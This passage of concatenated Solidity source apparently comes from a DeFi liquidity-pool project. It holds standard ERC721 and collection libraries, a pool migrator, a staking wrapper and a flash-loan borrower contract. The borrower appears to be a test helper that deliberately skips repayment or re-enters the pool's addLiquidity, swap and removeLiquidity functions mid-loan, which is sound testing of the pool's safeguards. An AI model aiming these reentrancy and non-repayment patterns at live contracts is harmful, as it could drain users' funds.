destinationCurrencyKey ) external view returns (uint value); function effectiveValueAndRates( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external view returns ( uint value, uint sourceRate, uint destinationRate ); function effectiveValueAtRound( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, uint roundIdForSrc, uint roundIdForDest ) external view returns (uint value); function getCurrentRoundId(bytes32 currencyKey) external view returns (uint); function getLastRoundIdBeforeElapsedSecs( bytes32 currencyKey, uint startingRoundId, uint startingTimestamp, uint timediff ) external view returns (uint); function inversePricing(bytes32 currencyKey) external view returns ( uint entryPoint, uint upperLimit, uint lowerLimit, bool frozenAtUpperLimit, bool frozenAtLowerLimit ); function lastRateUpdateTimes(bytes32 currencyKey) external view returns (uint256); function oracle() external view returns (address); function rateAndTimestampAtRound(bytes32 currencyKey, uint roundId) external view returns (uint rate, uint time); function rateAndUpdatedTime(bytes32 currencyKey) external view returns (uint rate, uint time); function rateAndInvalid(bytes32 currencyKey) external view returns (uint rate, bool isInvalid); function rateForCurrency(bytes32 currencyKey) external view returns (uint); function rateIsFlagged(bytes32 currencyKey) external view returns (bool); function rateIsFrozen(bytes32 currencyKey) external view returns (bool); function rateIsInvalid(bytes32 currencyKey) external view returns (bool); function rateIsStale(bytes32 currencyKey) external view returns (bool); function rateStalePeriod() external view returns (uint); function ratesAndUpdatedTimeForCurrencyLastNRounds(bytes32 currencyKey, uint numRounds) external view returns (uint[] memory rates, uint[] memory times); function ratesAndInvalidForCurrencies(bytes32[] calldata currencyKeys) external view returns (uint[] memory rates, bool anyRateInvalid); function ratesForCurrencies(bytes32[] calldata currencyKeys) external view returns (uint[] memory); // Mutative functions function freezeRate(bytes32 currencyKey) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./interfaces/ISwap.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; /** * @title SwapMigrator * @notice This contract is responsible for migrating old USD pool liquidity to the new ones. * Users can use this contract to remove their liquidity from the old pools and add them to the new * ones with a single transaction. */ contract SwapMigrator { using SafeERC20 for IERC20; struct MigrationData { address oldPoolAddress; IERC20 oldPoolLPTokenAddress; address newPoolAddress; IERC20 newPoolLPTokenAddress; IERC20[] underlyingTokens; } MigrationData public usdPoolMigrationData; address public owner; uint256 private constant MAX_UINT256 = 2**256 - 1; /** * @notice Sets the storage variables and approves tokens to be used by the old and new swap contracts * @param usdData_ MigrationData struct with information about old and new USD pools * @param owner_ owner that is allowed to call the `rescue()` function */ constructor(MigrationData memory usdData_, address owner_) public { // Approve old USD LP Token to be used by the old USD pool usdData_.oldPoolLPTokenAddress.approve( usdData_.oldPoolAddress, MAX_UINT256 ); // Approve USD tokens to be used by the new USD pool for (uint256 i = 0; i < usdData_.underlyingTokens.length; i++) { usdData_.underlyingTokens[i].safeApprove( usdData_.newPoolAddress, MAX_UINT256 ); } // Set storage variables usdPoolMigrationData = usdData_; owner = owner_; } /** * @notice Migrates old USD pool's LPToken to the new pool * @param amount Amount of old LPToken to migrate * @param minAmount Minimum amount of new LPToken to receive */ function migrateUSDPool(uint256 amount, uint256 minAmount) external returns (uint256) { // Transfer old LP token from the caller usdPoolMigrationData.oldPoolLPTokenAddress.safeTransferFrom( msg.sender, address(this), amount ); // Remove liquidity from the old pool and add them to the new pool uint256[] memory amounts = ISwap(usdPoolMigrationData.oldPoolAddress) .removeLiquidity( amount, new uint256[](usdPoolMigrationData.underlyingTokens.length), MAX_UINT256 ); uint256 mintedAmount = ISwap(usdPoolMigrationData.newPoolAddress) .addLiquidity(amounts, minAmount, MAX_UINT256); // Transfer new LP Token to the caller usdPoolMigrationData.newPoolLPTokenAddress.safeTransfer( msg.sender, mintedAmount ); return mintedAmount; } /** * @notice Rescues any token that may be sent to this contract accidentally. * @param token Amount of old LPToken to migrate * @param to Minimum amount of new LPToken to receive */ function rescue(IERC20 token, address to) external { require(msg.sender == owner, "is not owner"); token.safeTransfer(to, token.balanceOf(address(this))); } } // SPDX-License-Identifier: MIT // Generalized and adapted from https://github.com/k06a/Unipool πŸ™‡ pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; /** * @title StakeableTokenWrapper * @notice A wrapper for an ERC-20 that can be staked and withdrawn. * @dev In this contract, staked tokens don't do anything- instead other * contracts can inherit from this one to add functionality. */ contract StakeableTokenWrapper { using SafeERC20 for IERC20; using SafeMath for uint256; uint256 public totalSupply; IERC20 public stakedToken; mapping(address => uint256) private _balances; event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); /** * @notice Creates a new StakeableTokenWrapper with given `_stakedToken` address * @param _stakedToken address of a token that will be used to stake */ constructor(IERC20 _stakedToken) public { stakedToken = _stakedToken; } /** * @notice Read how much `account` has staked in this contract * @param account address of an account * @return amount of total staked ERC20(this.stakedToken) by `account` */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @notice Stakes given `amount` in this contract * @param amount amount of ERC20(this.stakedToken) to stake */ function stake(uint256 amount) external { require(amount != 0, "amount == 0"); totalSupply = totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakedToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } /** * @notice Withdraws given `amount` from this contract * @param amount amount of ERC20(this.stakedToken) to withdraw */ function withdraw(uint256 amount) external { totalSupply = totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakedToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../interfaces/IFlashLoanReceiver.sol"; import "../interfaces/ISwapFlashLoan.sol"; import "hardhat/console.sol"; contract FlashLoanBorrowerExample is IFlashLoanReceiver { using SafeMath for uint256; // Typical executeOperation function should do the 3 following actions // 1. Check if the flashLoan was successful // 2. Do actions with the borrowed tokens // 3. Repay the debt to the `pool` function executeOperation( address pool, address token, uint256 amount, uint256 fee, bytes calldata params ) external override { // 1. Check if the flashLoan was valid require( IERC20(token).balanceOf(address(this)) >= amount, "flashloan is broken?" ); // 2. Do actions with the borrowed token bytes32 paramsHash = keccak256(params); if (paramsHash == keccak256(bytes("dontRepayDebt"))) { return; } else if (paramsHash == keccak256(bytes("reentrancy_addLiquidity"))) { ISwapFlashLoan(pool).addLiquidity( new uint256[](0), 0, block.timestamp ); } else if (paramsHash == keccak256(bytes("reentrancy_swap"))) { ISwapFlashLoan(pool).swap(1, 0, 1e6, 0, now); } else if ( paramsHash == keccak256(bytes("reentrancy_removeLiquidity")) ) { ISwapFlashLoan(pool).removeLiquidity(1e18, new uint256[](0), now); } else if ( paramsHash == keccak256(bytes("reentrancy_removeLiquidityOneToken")) ) { ISwapFlashLoan(pool).removeLiquidityOneToken(1e18, 0, 1e18, now); } // 3. Payback debt uint256 totalDebt = amount.add(fee); IERC20(token).transfer(pool, totalDebt); } function flashLoan( ISwapFlashLoan swap, IERC20 token, uint256 amount, bytes memory params ) external { swap.flashLoan(address(this), token, amount, params); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./ISwap.sol"; interface ISwapFlashLoan is ISwap { function flashLoan( address receiver, IERC20 token, uint256 amount, bytes memory params ) external; } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } 